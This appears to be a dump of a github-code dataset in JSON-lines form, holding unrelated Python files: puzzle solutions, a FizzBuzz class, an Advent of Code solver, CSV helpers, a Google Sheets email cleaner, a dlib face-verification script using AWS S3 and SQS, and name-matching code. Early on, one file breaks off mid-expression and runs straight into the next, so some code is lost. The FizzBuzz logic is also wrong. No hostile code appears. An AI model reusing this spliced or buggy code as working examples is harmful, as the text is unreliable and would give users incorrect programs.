min(len(data_row) for data_row in data) < max_width:\n empty_cell: list[Scalar] = [\"\"]\n data = [\n data_row + (max_width - len(data_row)) * empty_cell\n for data_row in data\n ]\n return data","repo_name":"ibolorino/pandas-excel-limitedrows","sub_path":"pandas_excel_limitedrows/engines/_openpyxl.py","file_name":"_openpyxl.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"96"} +{"seq_id":"25537931858","text":"import io\nimport sys\n\n_INPUT = \"\"\"\\\n3\nababbaba\nzzz\nppppqqppqqqpqpqppqpqqqqpppqppq\n\"\"\"\n\ndef solve(test):\n S=input()\n mod=998244353\n inf=1<<30\n sigma=[inf]*(26*(len(S)+1))\n def idx(a,i): return a*(len(S)+1)+i\n def num(a): return ord(a)-ord('a')\n for i in range(len(S)):\n now=i\n while now>=0 and sigma[idx(num(S[i]),now)]==inf:\n sigma[idx(num(S[i]),now)]=i\n now-=1\n # print(sigma)\n ans=0\n for i in range(len(S)-1):\n #前i+1文字と後len(S)-i-1文字に分ける\n if sigma[idx(num(S[i+1]),0)]>=i+1: continue\n else:\n s=sigma[idx(num(S[i+1]),0)]\n def idx2(j,k): return j*(len(S)-i-1)+k\n dp=[0]*(i+1)*(len(S)-i-1)\n dp[idx2(s,0)]=1\n for j in range(i+1):\n for k in range(len(S)-i-1):\n if sigma[idx(num(S[i+1]),j+1)]==i+1:\n ans+=dp[idx2(j,k)]\n ans%=mod\n for l in range(26):\n if sigma[idx(l,j+1)]= 3 and i % 3 == 0:\n print(\"Fizz\")\n\n if i >= 5 and i % 5 == 0:\n print(\"FizzBuzz\")\n\n elif i >= 5 and i % 5 == 0:\n print(\"Buzz\")\n\n else:\n print(i)\n\nif __name__ == \"__main__\":\n FB = FizzBuzz() #simple class.\n FB.DoTheThing() #Fizz Bizzness.","repo_name":"nice1013/MyProjects","sub_path":"Python/Fizzbuzz.py","file_name":"Fizzbuzz.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"96"} +{"seq_id":"26696216312","text":"import argparse\n\n\ndef Max_Range_Sum():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"filename\")\n args = parser.parse_args()\n with open(args.filename) as f:\n for line in f:\n line = line.rstrip('\\n')\n line = line.split(';')\n line[1] = [int(i) for i in line[1].split()]\n max_sum = 0\n curr_sum = 0\n for i in range(0, len(line[1]) - int(line[0])+1):\n curr_sum = sum(line[1][i:i + int(line[0])])\n max_sum = max_sum if max_sum > curr_sum else curr_sum\n print(max_sum)\nMax_Range_Sum()\n","repo_name":"sashank-kasinadhuni/CodeEvalSolutions","sub_path":"Easy_Max_Range_Sum.py","file_name":"Easy_Max_Range_Sum.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"96"} +{"seq_id":"20755090386","text":"shop = '''Weapons: Cost Damage Armor\r\nDagger 8 4 0\r\nShortsword 10 5 0\r\nWarhammer 25 6 0\r\nLongsword 40 7 0\r\nGreataxe 74 8 0\r\n\r\nArmor: Cost Damage Armor\r\nLeather 13 0 1\r\nChainmail 31 0 2\r\nSplintmail 53 0 3\r\nBandedmail 75 0 4\r\nPlatemail 102 0 5\r\n\r\nRings: Cost Damage Armor\r\nDamage +1 25 1 0\r\nDamage +2 50 2 0\r\nDamage +3 100 3 0\r\nDefense +1 20 0 1\r\nDefense +2 40 0 2\r\nDefense +3 80 0 3'''\r\n\r\nshop = {\r\n 'weapons' : {\r\n 'dagger' : [8, 4, 0],\r\n 'shortsword' : [10, 5, 0],\r\n 'warhammer' : [25, 6, 0],\r\n 'longsword' : [40, 7, 0],\r\n 'greatsword' : [74, 8, 0]\r\n },\r\n 'armour' : {\r\n 'leather' : [13, 0, 1],\r\n 'chainmail' : [31, 0, 2],\r\n 'splintmail' : [53, 0, 3],\r\n 'bandedmail' : [75, 0, 4],\r\n 'platemail' : [102, 0, 5]\r\n },\r\n 'rings' : {\r\n 'd1' : [25, 1, 0],\r\n 'd2' : [50, 2, 0],\r\n 'd3' : [100, 3, 0],\r\n 'p1' : [20, 0, 1],\r\n 'p2' : [40, 0, 2],\r\n 'p3' : [80, 0, 3]\r\n }\r\n}\r\n\r\nhit_points = 100 # 8 for test, 100 for live\r\n# attack 4-8\r\n# armour 0-5\r\n# rings ???\r\n\r\nwith open('input.txt') as enemy_file:\r\n values = enemy_file.readlines()\r\n\r\nenemy_hit_points = int(values[0].split(':')[1])\r\nenemy_damage = int(values[1].split(':')[1])\r\nenemy_armour = int(values[2].split(':')[1])\r\n\r\ndef combat_round(hero_hp, hero_d, hero_p, enemy_hp, enemy_d, enemy_p):\r\n hero_damage = max(hero_d - enemy_p, 1)\r\n # print('hero damage:', hero_damage)\r\n enemy_hp -= hero_damage\r\n\r\n if enemy_hp > 0:\r\n enemy_damage = max(enemy_d - hero_p, 1)\r\n # print('enemy damage:', enemy_damage)\r\n hero_hp -= enemy_damage\r\n\r\n return hero_hp, enemy_hp\r\n\r\ndef cost_equipment(attack, armour, rings=[]):\r\n if attack < 0 or armour < 0:\r\n return\r\n\r\n print('costing', attack, armour, rings)\r\n\r\n if ((attack > 8 or armour > 5) and len(rings) == 0) or len(rings) == 0:\r\n all_rings = list(shop['rings'].keys())\r\n for ring in all_rings:\r\n attack_bonus = 0\r\n armour_bonus = 0\r\n if ring[0] == 'd':\r\n attack_bonus += shop['rings'][ring][1]\r\n else:\r\n armour_bonus += shop['rings'][ring][2]\r\n \r\n yield from cost_equipment(attack-attack_bonus, armour-armour_bonus, [ring])\r\n\r\n import itertools\r\n for ring_pair in itertools.combinations(all_rings,2):\r\n ring1 = ring_pair[0]\r\n ring2 = ring_pair[1]\r\n attack_bonus = 0\r\n armour_bonus = 0\r\n if ring1[0] == 'd':\r\n attack_bonus += shop['rings'][ring1][1]\r\n else:\r\n armour_bonus += shop['rings'][ring1][2]\r\n if ring2[0] == 'd':\r\n attack_bonus += shop['rings'][ring2][1]\r\n else:\r\n armour_bonus += shop['rings'][ring2][2]\r\n \r\n yield from cost_equipment(attack-attack_bonus, armour-armour_bonus, ring_pair)\r\n\r\n total_cost = 0\r\n\r\n attack_cost = None\r\n for item in shop['weapons'].values():\r\n if item[1] == attack:\r\n print('attack', attack, item, 'costs', item[0])\r\n attack_cost = item[0]\r\n\r\n if attack_cost == None:\r\n return\r\n else:\r\n total_cost += attack_cost\r\n\r\n if armour > 0:\r\n armour_cost = None\r\n for item in shop['armour'].values():\r\n if item[2] == armour:\r\n print('armour', armour, item, 'costs', item[0])\r\n armour_cost = item[0]\r\n\r\n if armour_cost == None:\r\n return\r\n else:\r\n total_cost += armour_cost\r\n\r\n for ring in rings:\r\n print('ring', ring, 'costs', shop['rings'][ring][0])\r\n total_cost += shop['rings'][ring][0]\r\n\r\n print(attack, armour, rings, 'cost:', total_cost)\r\n yield total_cost\r\n\r\nwins = []\r\nlosses = []\r\n\r\nfor attack in range(4, 15):\r\n for armour in range(12):\r\n hero_hp = hit_points\r\n enemy_hp = enemy_hit_points\r\n while hero_hp > 0 and enemy_hp > 0:\r\n hero_hp, enemy_hp = combat_round(hero_hp, attack, armour, enemy_hp, enemy_damage, enemy_armour)\r\n\r\n if hero_hp <= 0:\r\n # print(f'{attack}, {armour} You died ({hero_hp} vs {enemy_hp})')\r\n losses.append((attack, armour))\r\n elif enemy_hp <= 0:\r\n # print(f'{attack}, {armour} They died ({hero_hp} vs {enemy_hp})')\r\n wins.append((attack, armour))\r\n else:\r\n print('Um... how did we get here?')\r\n\r\n#print(wins)\r\nlowest_cost = float('inf')\r\nfor attack, armour in wins:\r\n for cost in cost_equipment(attack, armour):\r\n if cost and cost < lowest_cost:\r\n print('*** new lowest', cost, attack, armour)\r\n lowest_cost = cost\r\nprint('lowest win:', lowest_cost)\r\n\r\n#print(losses)\r\nhighest_cost = 0\r\ncostliest = None\r\nfor attack, armour in losses:\r\n for cost in cost_equipment(attack, armour):\r\n if cost and cost > highest_cost:\r\n print('*** new highest', cost, attack, armour)\r\n highest_cost = cost\r\n costliest = (attack, armour)\r\nprint('highest loss:', highest_cost, costliest)\r\n\r\n# print(min(list(cost_equipment(5,5))))\r\n","repo_name":"MrHarcombe/advent_of_code","sub_path":"2015/day21.py","file_name":"day21.py","file_ext":"py","file_size_in_byte":5425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"96"} +{"seq_id":"19385861554","text":"\"\"\"\n\nproblem link : https://www.hackerrank.com/challenges/min-max-riddle/problem?h_l=interview&playlist_slugs%5B%5D=interview-preparation-kit&playlist_slugs%5B%5D=stacks-queues\n\n\"\"\"\n\n# !/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\nfrom collections import defaultdict\n\n\ndef max_window_dict(arr):\n stack = []\n arr.append(0)\n d = defaultdict(int)\n for i, v in enumerate(arr):\n t = i\n while stack and stack[-1][0] >= v:\n pv, pi = stack.pop()\n d[v] = max(d[v], i - pi + 1)\n d[pv] = max(d[pv], i - pi)\n t = pi\n stack.append((v, t))\n del d[0]\n return d\n\n\ndef riddle(arr):\n # complete this function\n\n # step 1\n # make dictionary(key: each number, value: maximum window size)\n dic = max_window_dict(arr)\n # step 2\n # make inverse dict(key : each window size, value : maximum number)\n e = defaultdict(int)\n for k in dic:\n e[dic[k]] = max(e[dic[k]], k)\n\n # step 3\n # starting from i=len(arr) - 2 iterate down to a window size of 1,\n # looking up the corresponding values in inverted_windows and\n # fill missing values with the previous largest window value\n\n ans = [e[len(arr) - 1]]\n for i in range(len(arr) - 2, 0, -1):\n if e[i] < ans[-1]:\n ans.append(ans[-1])\n else:\n ans.append(e[i])\n return ans[::-1]\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n n = int(input())\n\n arr = list(map(int, input().rstrip().split()))\n\n res = riddle(arr)\n\n fptr.write(' '.join(map(str, res)))\n fptr.write('\\n')\n\n fptr.close()\n","repo_name":"startFromBottom/Hackerrank_problems","sub_path":"Stacks and Queues/Min Max Riddle.py","file_name":"Min Max Riddle.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"96"} +{"seq_id":"43048882291","text":"from openerp import api, models, fields\n\n\nclass RunbotBranch(models.Model):\n _inherit = \"runbot.branch\"\n project_id = fields.Char('VCS Project')\n merge_request_id = fields.Char('Merge Request')\n branch_url = fields.Char(compute='_compute_branch_url')\n\n @api.multi\n def _compute_branch_url(self):\n \"\"\"For gitlab branches get gitlab MR formatted branches\n\n If not an MR (such as a main branch or github repo) call super\n function\n \"\"\"\n gitlab_branches = self.filtered('repo_id.uses_gitlab')\n for branch in gitlab_branches:\n if branch.merge_request_id:\n branch.branch_url = \"%s/%s/merge_requests/%s\" % (\n branch.repo_id.gitlab_base_url,\n branch.repo_id.gitlab_name,\n branch.merge_request_id,\n )\n else:\n branch.branch_url = \"%s/%s/tree/%s\" % (\n branch.repo_id.gitlab_base_url,\n branch.repo_id.gitlab_name,\n branch.branch_name,\n )\n\n others = self - gitlab_branches\n others_by_id = {o.id: o for o in others}\n for rec_id, branch_url in others._get_branch_url('branch_url', None)\\\n .iteritems():\n others_by_id[rec_id].branch_url = branch_url\n","repo_name":"faycelgsm/runbot_test","sub_path":"runbot_gitlab/models/runbot_branch.py","file_name":"runbot_branch.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"96"} +{"seq_id":"3498261563","text":"from io import StringIO\nimport csv\n\n\ndef value_to_csv(value):\n \"\"\"covert an object to a csv formatted string\"\"\"\n with StringIO() as output:\n writer = csv.writer(output)\n writer.writerow(value)\n return output.getvalue()\n\n\ndef values_to_csv(matrix):\n \"\"\"covert a list of objects to a csv formatted string\"\"\"\n with StringIO() as output:\n writer = csv.writer(output)\n for value in matrix:\n writer.writerow(value)\n return output.getvalue()\n\n\ndef csv_to_values(csv_file_name):\n \"\"\"covert a csv file to an object\"\"\"\n with open(csv_file_name, encoding='utf-8') as f:\n return from_input(f)\n\n\ndef csvstring_to_values(csvstring):\n \"\"\"covert a string in csv format to a list of objects\"\"\"\n with StringIO(csvstring) as input:\n return from_input(input)\n\n\ndef csvstring_to_value(csvstring):\n \"\"\"convert file in csv format to an object\"\"\"\n data = csvstring_to_values(csvstring)\n if data:\n return data[0]\n else:\n return data\n\n\ndef from_input(input):\n \"\"\"aux function\"\"\"\n values = []\n reader = csv.reader(input)\n for val in reader:\n values.append(val)\n return values\n","repo_name":"AnsaldiAndrea/pythonanywhere_lib","sub_path":"csvstring.py","file_name":"csvstring.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"96"} +{"seq_id":"20986758520","text":"# Network Delay Time\n# There are N network nodes, labelled 1 to N. Given times, a list of travel times as directed edges times[i] = (u, v, w),\n# where u is the source node, v is the target node, and w is the time it takes for a signal to travel from source to target.\n# Now send a signal from node K. How long will it take for all nodes to receive the signal? If it is impossible, return -1.\nclass Solution(object):\n def networkDelayTime(self, times, N, K):\n \"\"\"\n :type times: List[List[int]]\n :type N: int\n :type K: int\n :rtype: int\n \"\"\"\n adj_map = collections.defaultdict(dict)\n dist = { i: float('inf') for i in range(1, N + 1) }\n dist[K] = 0 # make sure BFS starts with K\n\n for u, v, w in times:\n adj_map[u][v] = w\n\n # queue or heap not compatible with this algo\n # because after (d, v) is enqueued dist[v] could change\n nodes = set(range(1, N + 1))\n while nodes:\n # u to be the node with smallest dist[u]\n u = None\n for node in nodes:\n if not u or dist[node] < dist[u]:\n u = node\n nodes.remove(u)\n\n # update shortest path dist of adj nodes\n for v in adj_map[u]:\n dist[v] = min(dist[v], dist[u] + adj_map[u][v])\n\n max_dist = max(dist.values())\n return max_dist if max_dist < float('inf') else - 1\n","repo_name":"kevinshenyang07/Data-Structures-and-Algorithms","sub_path":"algorithms/bfs/network_delay_time.py","file_name":"network_delay_time.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"96"} +{"seq_id":"35129021993","text":"from google_sheets_handler import *\nfrom format_email_body import *\nfrom EmailBuilder import *\nimport argparse\nimport pdb\nimport time\nfrom gspread import Cell\n\n\ndef parse_args():\n \"\"\"\"\"\"\n desc = 'Delete dead email from google sheet'\n parser = argparse.ArgumentParser(description=desc)\n parser.add_argument('-mshn', '--master_sheet_hash_number', metavar='1QhN0gVxELRtKb3ElGAeGQbK5s4zsEVV0lUCSMAzdccI',\n help='The google sheet hash number, found in the browser address line', required=1, dest='mshn')\n return parser.parse_args()\n\n\nif __name__ == \"__main__\":\n start = time.time()\n args = parse_args()\n GS_master = GoogleSheets(args.mshn,\n 1) # this object holds the google sheet for the master list (where all the company list live)\n email_coulmn =GS_master.col_num_map.get(\"emails\")\n EMAIL = EmailBuilder()\n email_list = GS_master.get_emails()\n replied = GS_master.get_replied()\n replied.pop(0)\n email_list.pop(0) # this is to skip the title of the coulmn\n replies_padding=['0']*(len(email_list)-len(replied))\n replied.extend(replies_padding)\n cell_list=[]\n for index in range(len(email_list)):\n #pdb.set_trace()\n if str2bool(replied[index]):\n continue\n if not any(c.isalpha() for c in email_list[index]): # if email cell is empty then skip\n continue\n current_email_list=[x.lower() for x in email_list[index].split(\",\")]\n tmp_current_email_list =current_email_list\n\n for email_str in current_email_list:\n if \"@\" not in email_str:\n continue\n print(email_str)\n found = EMAIL.get_dead_email(email_str)\n #pdb.set_trace()\n live_emails=set(tmp_current_email_list).difference(found)\n tmp_current_email_list=list(live_emails)\n #print(tmp_current_email_list)\n #pdb.set_trace()\n live_emails = ','.join(tmp_current_email_list)\n cell_list.append(Cell(index+2,email_coulmn,live_emails))\n #pdb.set_trace()\n GS_master.wks.update_cells(cell_list)\n end = time.time()\n print(\" Total run time: \" + str(end - start) + \" seconds\")\n","repo_name":"gideonla/YEDA","sub_path":"mark_dead_emails.py","file_name":"mark_dead_emails.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"96"} +{"seq_id":"16862256789","text":"# 모듈\nimport dlib\nfrom glob import glob\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport boto3\nfrom botocore.client import Config\nimport json\nfrom urllib import request\nfrom PIL import Image\nfrom botocore.exceptions import ClientError\nfrom urllib.error import HTTPError, URLError\nimport os\nimport time\n\ndetector = dlib.get_frontal_face_detector()\nsp = dlib.shape_predictor(\"shape_predictor_5_face_landmarks.dat\")\nfacerec = dlib.face_recognition_model_v1(\"dlib_face_recognition_resnet_model_v1.dat\")\n\n\ndef plotPairs(img1, img2):\n fig = plt.figure()\n\n ax1 = fig.add_subplot(1, 2, 1)\n plt.imshow(img1)\n plt.axis(\"off\")\n\n ax1 = fig.add_subplot(1, 2, 2)\n plt.imshow(img2)\n plt.axis(\"off\")\n\n # plt.savefig('./test.jpg')\n\n\nthreshold = (\n 0.5 # distance threshold declared in dlib docs for 99.38% confidence score on LFW data set\n)\n\n\ndef findEuclideanDistance(source_representation, test_representation):\n euclidean_distance = source_representation - test_representation\n euclidean_distance = np.sum(np.multiply(euclidean_distance, euclidean_distance))\n euclidean_distance = np.sqrt(euclidean_distance)\n return euclidean_distance\n\n\ndef verify(img1_path, img2_path):\n img1 = dlib.load_rgb_image(img1_path)\n img2 = dlib.load_rgb_image(img2_path)\n\n \"\"\"\n print(\"Raw images: \")\n plotPairs(img1, img2)\n \"\"\"\n\n # ------------------------------------\n # face detection and alignment\n\n img1_detection = detector(img1, 1)\n img2_detection = detector(img2, 1)\n\n if len(img1_detection) == 0:\n return 0\n\n if len(img2_detection) == 0:\n return 0\n\n img1_shape = sp(img1, img1_detection[0])\n img2_shape = sp(img2, img2_detection[0])\n\n img1_aligned = dlib.get_face_chip(img1, img1_shape)\n img2_aligned = dlib.get_face_chip(img2, img2_shape)\n\n img1_representation = facerec.compute_face_descriptor(img1_aligned)\n img2_representation = facerec.compute_face_descriptor(img2_aligned)\n\n img1_representation = np.array(img1_representation)\n img2_representation = np.array(img2_representation)\n\n # -----------------------------------\n # verification\n\n distance = findEuclideanDistance(img1_representation, img2_representation)\n\n # print(\"Distance is \", distance,\" whereas threshold is \", threshold)\n\n if distance < threshold:\n print(img1_path, \" and \", img2_path, \" are same person\")\n verified = True\n plotPairs(img1_aligned, img2_aligned)\n else:\n verified = False\n\n return verified\n\n\n# TODO s3 에서 이미지 다운로드 추가\n# 아마존 생태계 바깥쪽에서 아마존 access 처리 사용할 코드\n# with open(\"./key.json\") as f:\n# keys = json.load(f)\nCLOUD_FLONT_CDN = \"https://d2nh0kpre7014e.cloudfront.net\"\n# s3 서비스 객체 생성\nbk = \"ai-public-bk-00950707\"\nwith open('./key.json') as f:\n keys = json.load(f)\n\ns3 = boto3.resource(\n \"s3\", \n aws_access_key_id=keys[\"ACCESS_KEY_ID\"],\n aws_secret_access_key=keys[\"ACCESS_SECRET_KEY\"],\n config=Config(signature_version=\"s3v4\"),\n region_name=\"ap-northeast-2\",\n )\ns3_client = boto3.client(\n \"s3\", \n aws_access_key_id=keys[\"ACCESS_KEY_ID\"],\n aws_secret_access_key=keys[\"ACCESS_SECRET_KEY\"],\n config=Config(signature_version=\"s3v4\"),\n region_name=\"ap-northeast-2\",\n )\nsqs = boto3.client(\n \"sqs\", \n aws_access_key_id=keys[\"ACCESS_KEY_ID\"],\n aws_secret_access_key=keys[\"ACCESS_SECRET_KEY\"],\n config=Config(signature_version=\"s3v4\"),\n region_name=\"ap-northeast-2\",\n )\n\n\ndef decodeImage(data, shape):\n # Gives us 1d array\n decoded = np.frombuffer(data, dtype=np.uint8)\n # We have to convert it into (270, 480,3) in order to see as an image\n decoded = decoded.reshape(shape)\n return decoded\n\n\ndef dataset_img(bk):\n i = 0\n while True:\n try:\n s3_client.download_file(bk, f\"dataset_img/{i}.jpg\", f\"dataset_img/dataset_{i}.jpg\")\n i += 1\n except ClientError as e:\n if e.response[\"Error\"][\"Code\"] == \"404\":\n break\n else:\n print(\"An error occurred while downloading the dataset. Please try again later.\")\n break\n dataset_img_list = glob(\"dataset_img/*.jpg\")\n return dataset_img_list\n\n\ndef detecting_img():\n # SQS : 메시지 획득 -> key 획득 -> 예측수행\n # s3_client.download_file(bk, 'detecting_img/', 'detecting_img')\n i = 0\n while True:\n try:\n req = request.Request(\n CLOUD_FLONT_CDN + f\"/yolo_detected/(720,-1280,-3)_{i}\", headers={\"orgin\": \"*\"}\n )\n frame = request.urlopen(req).read()\n tmp_sqs = f\"/yolo_detected/(720,-1280,-3)_{i}\"\n shape_str = tmp_sqs.split(\"(\")[-1].split(\")\")[0].replace(\"-\", \" \")\n shape = tuple(map(int, shape_str.split(\", \")))\n de = decodeImage(frame, shape)\n img = Image.fromarray(de)\n img.save(f\"./detecting_img/detecting_{i}.jpg\")\n i += 1\n except HTTPError as e:\n break\n except URLError as e:\n break\n except Exception as e:\n break\n\n detecting_img_list = glob(\"detecting_img/*.jpg\")\n return detecting_img_list\n\n\ndef upload(bk, key):\n with open(key, \"rb\") as f:\n img = f.read()\n # 업로드 -> 버킷 선택\n s3.Bucket(bk).put_object(Key=key, Body=img)\n\n\ndef determine(bk):\n dataset_img_list = dataset_img(bk)\n detecting_img_list = detecting_img()\n for i in range(len(dataset_img_list)):\n for j in range(len(detecting_img_list)):\n verified = verify(detecting_img_list[j], dataset_img_list[i])\n if verified:\n key = f\"success/detection{i}.jpg\"\n if not os.path.exists(key):\n plt.savefig(key)\n # TODO s3 에 이미지 업로드 추가\n upload(bk, key)\n else:\n break\n\n\ndef remove():\n os.system(\"rm -r dataset_img/*.jpg\")\n os.system(\"rm -r detecting_img/*.jpg\")\n os.system(\"rm -r success/*.jpg\")\n\n\ndef sqs_message_check():\n # 대기열 큐를 특정 주기로 체크, 모니터링\n q_name = \"dlib_queue\"\n res = sqs.receive_message(\n QueueUrl=q_name,\n AttributeNames=[\"SentTimestamp\"],\n MessageAttributeNames=[\"All\"],\n MaxNumberOfMessages=1,\n VisibilityTimeout=0,\n WaitTimeSeconds=0,\n )\n if res and (\"Messages\" in res):\n # 수신한 값을 기준 => 메시지가 존재하는 여부 체크 -> 메시지 삭제(큐에서) -> 예측 처리 요청 처리\n receipt_handle = res[\"Messages\"][0][\"ReceiptHandle\"] # 메시지 고유값\n # cmd = json.loads(res[\"Messages\"][0][\"Body\"])[\"cmd\"]\n msg = res[\"Messages\"][0][\"Body\"]\n sqs.delete_message(\n QueueUrl=q_name,\n ReceiptHandle=receipt_handle,\n )\n return msg\n else:\n print(\"No message\")\n return 0\n\n\nif __name__ == \"__main__\":\n while True:\n msg = sqs_message_check()\n time.sleep(5)\n if msg:\n print(\"start !!\")\n determine(bk)\n time.sleep(5)\n print(\"end !!\")\n remove()\n","repo_name":"lifeflavor0425/cloud9_docker-smoker-detecting","sub_path":"cloud9-docker/detection/detect.py","file_name":"detect.py","file_ext":"py","file_size_in_byte":7234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"96"} +{"seq_id":"45796563903","text":"from django.db import models\n\nfrom petstagram.photos.models import Photo\n\n\n# Create your models here.\nclass Comment(models.Model):\n MAX_LEN_TEXT = 300\n text = models.TextField(\n max_length=MAX_LEN_TEXT,\n blank=False,\n null=False,\n )\n date_time_of_publication = models.DateTimeField(\n auto_now_add=True,\n )\n # We relate the Comment to the Photo as a Foreign Key, so when the Photo is deleted,\n # it will CASCADE to delete the comments aswell\n to_photo = models.ForeignKey(\n Photo,\n on_delete=models.CASCADE,\n )\n\n # This will order the comments in descending order, starting from the newest one\n class Meta:\n ordering = [\"-date_time_of_publication\"]\n\n\n# Just create a foreign key in db linking the class to the Photo Model, and naturally CASCADE on Delete\nclass Like(models.Model):\n # Photo's field for likes is named {Name_of_this_model}_set\n to_photo = models.ForeignKey(\n Photo,\n on_delete=models.CASCADE\n )\n","repo_name":"Assen95/Petstagram","sub_path":"petstagram/common/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"96"} +{"seq_id":"911576394","text":"import math\n\n\ndef fac(n):\n fac = 1\n for i in range(1, 1+n):\n fac = fac * i\n return fac\n\n\ndef estimate_exp(x, n):\n som = 0\n # Exactly the formula in the question written in code\n for i in range(0, n+1):\n term = math.pow(x, i)/fac(i)\n som += term\n return som\n\n\n# delta is the minimum value of the calculated term\ndef estimate_exp2(x, delta):\n i = 0\n term = math.pow(x, i)/fac(i)\n som = term\n while term > delta:\n i += 1\n term = math.pow(x, i)/fac(i)\n som += term\n return som\n\n\ndef main():\n x = int(input(\"Enter x: \"))\n n = int(input(\"Enter n: \"))\n print(\"e powered by %d is %f\" % (x, estimate_exp(x, n)))\n delta = float(input(\"Enter delta: \"))\n print(\"e powered by %d is %f\" % (x, estimate_exp2(x, delta)))\n\n\nmain()","repo_name":"emildekeyser/tutoring","sub_path":"fh/opl/Solutions-session5/Solutions-new/ex5_primesupto.py","file_name":"ex5_primesupto.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"96"} +{"seq_id":"4896423991","text":"import editdistance\r\nimport fuzzy\r\nimport phonetics\r\nfrom fuzzywuzzy import fuzz\r\nimport pandas as pd\r\nimport re\r\n\r\nnicknames_all = [\r\n ['Spyridon', 'Spyros'],\r\n ['Miltiadis', 'Miltos'],\r\n ['Konstantinos', 'Kostas'],\r\n ['Konstantinos', 'Costas'],\r\n ['Konstantinos', 'Konnos'],\r\n ['Konstantinos', 'Kon/nos'],\r\n ['Panagiotis', 'Panos'],\r\n ['Nikolaos', 'Nikos'],\r\n ['Stylianos', 'Stelios'],\r\n ['Tasoula', 'Anastasia'],\r\n ['Theodoulos', 'Theo'],\r\n ['Timoleon', 'Timos'],\r\n ['Aristeidis', 'Aris'],\r\n ['Christoforos', 'Christos'],\r\n ['Iraklis', 'Hercules'],\r\n ['Alkiviadis', 'Alkis'],\r\n ['Themistoklis', 'Themis'],\r\n ['Emmanouil', 'Manolis'],\r\n ['Athanasios', 'Thanasis']\r\n ]\r\n\r\n\r\ndef get_possible_names(auth_name):\r\n possible_names = [auth_name]\r\n\r\n if \"ch\" in auth_name or \"Ch\" in auth_name:\r\n auth_name_temp = re.sub(\"Ch\", \"H\", auth_name)\r\n auth_name_temp = re.sub(\"ch\", \"h\", auth_name_temp)\r\n possible_names.append(auth_name_temp)\r\n\r\n if \"Nt\" in auth_name or \"nt\" in auth_name:\r\n auth_name_temp = re.sub(\"Nt\", \"D\", auth_name)\r\n auth_name_temp = re.sub(\"nt\", \"d\", auth_name_temp)\r\n possible_names.append(auth_name_temp)\r\n\r\n if \"ou\" in auth_name:\r\n auth_name_temp = re.sub(\"ou\", \"u\", auth_name)\r\n possible_names.append(auth_name_temp)\r\n\r\n possible_names += get_other_nicknames(auth_name)\r\n\r\n if \"Tz\" in auth_name:\r\n auth_name_temp = re.sub(\"Tz\", \"J\", auth_name)\r\n possible_names.append(auth_name_temp)\r\n\r\n if \"Mp\" in auth_name or \"mp\" in auth_name:\r\n auth_name_temp = re.sub(\"Mp\", \"B\", auth_name)\r\n auth_name_temp = re.sub(\"mp\", \"b\", auth_name_temp)\r\n possible_names.append(auth_name_temp)\r\n\r\n if \"F\" in auth_name or \"f\" in auth_name:\r\n auth_name_temp = re.sub(\"F\", \"Ph\", auth_name)\r\n auth_name_temp = re.sub(\"f\", \"ph\", auth_name_temp)\r\n possible_names.append(auth_name_temp)\r\n\r\n return possible_names\r\n\r\n\r\ndef remove_extra_spaces(name):\r\n name = name.split(\" \")\r\n name_l = list(filter(None, name))\r\n\r\n return \" \".join(name_l)\r\n\r\n\r\ndef nickname_check(name_in: str):\r\n name = name_in.capitalize()\r\n\r\n for nicknames in nicknames_all:\r\n if name in nicknames:\r\n return nicknames[0]\r\n\r\n return name\r\n\r\n\r\ndef get_other_nicknames(name_in: str):\r\n name = name_in.capitalize()\r\n\r\n for nicknames in nicknames_all:\r\n if name in nicknames:\r\n res = []\r\n for n in nicknames:\r\n if name != n:\r\n res.append(n)\r\n return res\r\n\r\n return []\r\n\r\n\r\ndef preprocess_name(name):\r\n name_pr = remove_extra_spaces(name)\r\n name_pr = re.sub(\"([\\(\\[]).*?([\\)\\]])\", \"\\g<1>\\g<2>\", name_pr)\r\n name_pr = re.sub(\"/\", \"\", name_pr)\r\n name_pr = re.sub(\"-\", \" \", name_pr)\r\n name_pr = re.sub(\"\\.\", \"\", name_pr)\r\n name_pr = [nickname_check(w) for w in name_pr.split(\" \") if len(w) >= 3]\r\n return name_pr\r\n\r\n\r\ndef compare_names(true_name, test_name):\r\n if test_name == \"Unknown\" or \"\":\r\n print(f\"{true_name} NOT equals Unknown\")\r\n return False\r\n\r\n true_name_pr = preprocess_name(true_name)\r\n test_name_pr = preprocess_name(test_name)\r\n starts_with_ch = any([w.startswith(\"Ch\") for w in true_name_pr])\r\n matched_in_true = 0\r\n\r\n found = [0 for i in range(len(true_name_pr))]\r\n for w in test_name_pr:\r\n for i,q in enumerate(true_name_pr):\r\n if name_similarity(w, q) < 3 and not found[i]:\r\n matched_in_true += 1\r\n found[i] = 1\r\n break\r\n\r\n if matched_in_true >= 2 or matched_in_true == len(true_name_pr) or matched_in_true == len(test_name_pr):\r\n # print(f\"{true_name} equals {test_name}\")\r\n result = True\r\n return result\r\n else:\r\n print(f\"{true_name} NOT equals {test_name}\")\r\n result = False\r\n\r\n if starts_with_ch:\r\n matched_in_true = 